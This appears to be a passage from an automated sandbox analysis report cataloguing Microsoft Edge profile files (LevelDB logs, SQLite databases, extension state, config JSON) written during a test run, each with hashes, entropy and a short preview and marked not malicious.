SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.220841475388647
Encrypted:	false
SSDEEP:	6:HCcaq2PN723oH+TcwtnG2tMsIFUt8YCcTZmw+YCcJkwON723oH+TcwtnG2tMsLJ:IvVaYebn9GFUt8e/+S5OaYebn95J
MD5:	8FCE208F41191967111D2680433770C4
SHA1:	566E80303D81C444166FCDD7B02DDC2B8F04EE80
SHA-256:	AAB96A1AFB7238044FBA5A068D2321AAFF9C9F936A94C0F84FB66B9E5BFA330B
SHA-512:	66447DB6AF70775F86D55B5379A3A6D9899E16F6E1ADE190F4CADB59DF5A17D06D8637128EFAB9F4C48E8DA5D7DB2EDFE84D6B8EEEB63E3E0E0C215815A0BC85
Malicious:	false
Preview:	2024/11/27-05:14:33.538 1c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/27-05:14:33.538 1c84 Recovering log #3.2024/11/27-05:14:33.538 1c84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.220841475388647
Encrypted:	false
SSDEEP:	6:HCcaq2PN723oH+TcwtnG2tMsIFUt8YCcTZmw+YCcJkwON723oH+TcwtnG2tMsLJ:IvVaYebn9GFUt8e/+S5OaYebn95J
MD5:	8FCE208F41191967111D2680433770C4
SHA1:	566E80303D81C444166FCDD7B02DDC2B8F04EE80
SHA-256:	AAB96A1AFB7238044FBA5A068D2321AAFF9C9F936A94C0F84FB66B9E5BFA330B
SHA-512:	66447DB6AF70775F86D55B5379A3A6D9899E16F6E1ADE190F4CADB59DF5A17D06D8637128EFAB9F4C48E8DA5D7DB2EDFE84D6B8EEEB63E3E0E0C215815A0BC85
Malicious:	false
Preview:	2024/11/27-05:14:33.538 1c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/27-05:14:33.538 1c84 Recovering log #3.2024/11/27-05:14:33.538 1c84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.612847249456329
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jJWDpWQmL:TO8D4jJ/6Up+VWEl
MD5:	85FF03104B0B8864F52011547C35F83E
SHA1:	EC58141283D10FD12DF427C5D495BE3A073271A5
SHA-256:	14EB87BC0AAD371438DD8E274B63E2C1E4F965FE79266EAAA55E21070C5E90FD
SHA-512:	17F08E4E37B38865FD3C5F03393DE14A8E50472FD241D54546B74A45A21D48E548865236EEB836EC0BD7E4CF690D3D578DAE9F0FA3966420726D893247B15A4A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	375520
Entropy (8bit):	5.3541234296446705
Encrypted:	false
SSDEEP:	6144:GA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:GFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	8F2FC2816A7F60F6BF8506EBBFD62654
SHA1:	4ED78ECB1F5410DB01C103CEDABDD93713E8B62E
SHA-256:	1ABB91B4666C9C9E9C67E9073715F4875AF88589117C6D0F39E312930EE2A47E
SHA-512:	918A7CFD15677C385167CE326A834E66426600AB95F688E13CF3DAB30D299535B504B8A4853EA2DEF42C7E95E9B102D153F4E012DC931D15593117225D67463F
Malicious:	false
Preview:	...m.................DB_VERSION.1..oq...............&QUERY_TIMESTAMP:domains_config_gz2...13377176082132141..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.189886325439491
Encrypted:	false
SSDEEP:	6:HChcXs1N723oH+Tcwtk2WwnvB2KLlVCuulM+q2PN723oH+Tcwtk2WwnvIFUv:PMaYebkxwnvFLulM+vVaYebkxwnQFUv
MD5:	3A913161E99A19695263C13FE0B37024
SHA1:	3B4163CF13CA1557CC474098E4DE898804282486
SHA-256:	7C474250F67FAD9AB648BF0CF095AC85AB518A021A8103B08489EF4B5CBAB487
SHA-512:	959619D310866A9763D7872623D63E6EEA16E55D70726DC8A9765AB1343805914DC29E522B3F6E883DF7C89D8CA7E46BD3D967A965FBEB545E0DCA64F60B0FBB
Malicious:	false
Preview:	2024/11/27-05:14:38.156 236c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/27-05:14:38.290 236c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	358860
Entropy (8bit):	5.324618363278846
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RN:C1gAg1zfv1
MD5:	D083DC90EA1CF3864ABEFE7A11FD96BE
SHA1:	E63C9DB1DA9CF13843A981AEFCCAD3F628FA13B5
SHA-256:	D58AF22D8507C278565ACE8F45358C3354C375B913A5515344A4170BD1B6EA48
SHA-512:	4B3FCE556BC3EA2A7F32BF23C64E6310B65904B91017D062D1EF4C8FA3BFBF894B1D21202E3ADB5179AF96DE9ACE7855DBFCA2956E201DD4F65198E9FBAA6B70
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.195883531865714
Encrypted:	false
SSDEEP:	6:HCJuflWM+q2PN723oH+Tcwt8aPrqIFUt8YCL7GFz1Zmw+YCL7GFlWMVkwON723oD:3lL+vVaYebL3FUt8RGZ/+RGlLV5OaYeo
MD5:	2E185FABFB4D760641BA4E527B2EF690
SHA1:	6830ECFF83536593C15992E0788AA46FDDC3CDDD
SHA-256:	E4EACF99A0FCC4480787E3B705E7E80B20DDFBE2C1ECC6282BD958DE03157998
SHA-512:	1181776CA020680F29A2A239C31EDA276B8CA9863A1A657471804D8B6BBECD8CF921F72666E0B59A18753F7EC08AEFF8388E47E7E34C965C83F8903A76EF7ECF
Malicious:	false
Preview:	2024/11/27-05:14:33.584 1d1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/27-05:14:33.586 1d1c Recovering log #3.2024/11/27-05:14:33.586 1d1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.195883531865714
Encrypted:	false
SSDEEP:	6:HCJuflWM+q2PN723oH+Tcwt8aPrqIFUt8YCL7GFz1Zmw+YCL7GFlWMVkwON723oD:3lL+vVaYebL3FUt8RGZ/+RGlLV5OaYeo
MD5:	2E185FABFB4D760641BA4E527B2EF690
SHA1:	6830ECFF83536593C15992E0788AA46FDDC3CDDD
SHA-256:	E4EACF99A0FCC4480787E3B705E7E80B20DDFBE2C1ECC6282BD958DE03157998
SHA-512:	1181776CA020680F29A2A239C31EDA276B8CA9863A1A657471804D8B6BBECD8CF921F72666E0B59A18753F7EC08AEFF8388E47E7E34C965C83F8903A76EF7ECF
Malicious:	false
Preview:	2024/11/27-05:14:33.584 1d1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/27-05:14:33.586 1d1c Recovering log #3.2024/11/27-05:14:33.586 1d1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.163151197139625
Encrypted:	false
SSDEEP:	6:HCuVXFUljWM+q2PN723oH+Tcwt865IFUt8YCuVRF5Sz1Zmw+YCuVRF5SlWMVkwOO:RVVUL+vVaYeb/WFUt8kVR7SZ/+kVR7Sl
MD5:	5F8AD56309777689C47D506B27924249
SHA1:	71FDD647EE308DD6D790CBC79346A91063B070E2
SHA-256:	22E7C92D1053985DA063CDEDD99235EFCC80D200EE895A0E71CAACCF2AE2FFC3
SHA-512:	B28831C3EF0AEE0A510E6461B7D23DA1F3AD220B69053606B83A4513BB771E72889B496D5C6B3FF5E6AD4F33F02684BDAC821BDFD610BAD4108BDF31019DEA20
Malicious:	false
Preview:	2024/11/27-05:14:33.602 1d1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/27-05:14:33.604 1d1c Recovering log #3.2024/11/27-05:14:33.604 1d1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.163151197139625
Encrypted:	false
SSDEEP:	6:HCuVXFUljWM+q2PN723oH+Tcwt865IFUt8YCuVRF5Sz1Zmw+YCuVRF5SlWMVkwOO:RVVUL+vVaYeb/WFUt8kVR7SZ/+kVR7Sl
MD5:	5F8AD56309777689C47D506B27924249
SHA1:	71FDD647EE308DD6D790CBC79346A91063B070E2
SHA-256:	22E7C92D1053985DA063CDEDD99235EFCC80D200EE895A0E71CAACCF2AE2FFC3
SHA-512:	B28831C3EF0AEE0A510E6461B7D23DA1F3AD220B69053606B83A4513BB771E72889B496D5C6B3FF5E6AD4F33F02684BDAC821BDFD610BAD4108BDF31019DEA20
Malicious:	false
Preview:	2024/11/27-05:14:33.602 1d1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/27-05:14:33.604 1d1c Recovering log #3.2024/11/27-05:14:33.604 1d1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.141254552255484
Encrypted:	false
SSDEEP:	6:HCfi+q2PN723oH+Tcwt8NIFUt8YCrFmWZmw+YCrFNVkwON723oH+Tcwt8+eLJ:r+vVaYebpFUt8VFmW/+VFNV5OaYebqJ
MD5:	F60993C0E310DEAB17BCE39A35E25CFC
SHA1:	1F59CBA1763247DD95EA5B9659557EE7F448E685
SHA-256:	9A17907EDAC2456AED2D33D56B600B88DB08E74F4A8215F79FA064CD767A2B31
SHA-512:	DD524DC5F619853CFA2B4BFBA54633DDD178BE0D1C489422A7511072F739CA4EB3355DC4B8EDCDB5ED0F18E05FD3B06A1AA6E69BAE58705478817494F183368F
Malicious:	false
Preview:	2024/11/27-05:14:34.307 1dec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/27-05:14:34.308 1dec Recovering log #3.2024/11/27-05:14:34.308 1dec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.141254552255484
Encrypted:	false
SSDEEP:	6:HCfi+q2PN723oH+Tcwt8NIFUt8YCrFmWZmw+YCrFNVkwON723oH+Tcwt8+eLJ:r+vVaYebpFUt8VFmW/+VFNV5OaYebqJ
MD5:	F60993C0E310DEAB17BCE39A35E25CFC
SHA1:	1F59CBA1763247DD95EA5B9659557EE7F448E685
SHA-256:	9A17907EDAC2456AED2D33D56B600B88DB08E74F4A8215F79FA064CD767A2B31
SHA-512:	DD524DC5F619853CFA2B4BFBA54633DDD178BE0D1C489422A7511072F739CA4EB3355DC4B8EDCDB5ED0F18E05FD3B06A1AA6E69BAE58705478817494F183368F
Malicious:	false
Preview:	2024/11/27-05:14:34.307 1dec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/27-05:14:34.308 1dec Recovering log #3.2024/11/27-05:14:34.308 1dec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21716219074676224
Encrypted:	false
SSDEEP:	3:ltjtFlljq7A/mhWJFuQ3yy7IOWU0sl4dweytllrE9SFcTp4AGbNCV9RUI1M:lC75fOqNd0Xi99pEYU
MD5:	EC46B796324437B15314642D3DC35534
SHA1:	01183A2E93318576A871E33297D45C8A5295A767
SHA-256:	AD710B2D89A8CBD19F3EA26E86F9D9C9C91BB3F345DA2AEDC77B7AB32D87FC44
SHA-512:	55210A9F5386D690FDEAF518FC038ABD35085F82850CCD035885ACC1BFE8ACEF3590BE05175BF0D96417B7E7B3AC94E71144EA18D4B4BFB763B4A25C9E266D52
Malicious:	false
Preview:	...............i...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481262007522295
Encrypted:	false
SSDEEP:	384:aj9P0LEcAjlrP/KbtpQkQerE773pL9hCgam6ItRKToaAu:adyKlrP/se2E7Pv9RKcC
MD5:	DF0D2FCFE368ECEEB78C13B004DAEDBD
SHA1:	1E9121546F3F0758130C2A37F274C56BCE00B702
SHA-256:	91ED1A0AB9A23419FBD76C4A2435EDC1CCBAB5FC481528342F34159558CA8ABB
SHA-512:	13179A41D9084C4778EFD801A91E2D18B87C5BA662BF08170564DEB9742BD0F93B00D538413B6E6A8D38171E7EFC190E17EAB09C3B396835FC02E9F6A2E5E474
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.253207440925115
Encrypted:	false
